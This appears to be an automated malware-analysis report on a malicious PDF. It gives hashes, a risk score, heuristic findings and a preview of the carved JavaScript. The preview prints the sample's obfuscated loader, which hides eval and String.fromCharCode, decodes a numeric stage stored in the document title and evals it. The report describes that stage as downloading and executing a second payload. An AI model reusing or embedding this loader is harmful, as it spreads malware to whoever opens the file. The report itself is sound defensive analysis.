Malicious PDF — malware analysis report

Static analysis result for SHA-256 87a58f43eefb52fb…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 2b77ff0fdc92935e07aa06c3584cbf4d SHA-1: 9cec6624cab4e8007d916674ba8ad8c6dc5eb056 SHA-256: 87a58f43eefb52fb5c7c2ca25646fc0a8d45e6aae970f680d6b7a8812c2db32d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics like PDF_JAVASCRIPT and PDF_JS. The script attempts to decode a string by concatenating numeric character codes, ultimately reconstructing a URL. This reconstructed URL is then used to download and execute a second-stage payload, as indicated by the ML_NYX_PDF_MALICIOUS flag and the overall structure of the obfuscated loader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF4A 612 bytes
SHA-256: 0b618e2f110fd1706d9d7df20a5b27451353d2e7dc5c0f61ad0a4167d82ac7fd
Preview script
First 1,000 lines of the extracted script
slr='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
iewh=e('ti'+'tle');
s=iewh.substr(t.length + 8,3)+'str';
q=iewh[s](1,(1,9));
debxg=e('S'+'tring.fro'+q);
q=iewh[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	lzum = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	slr += debxg(lzum);
}
e(slr);

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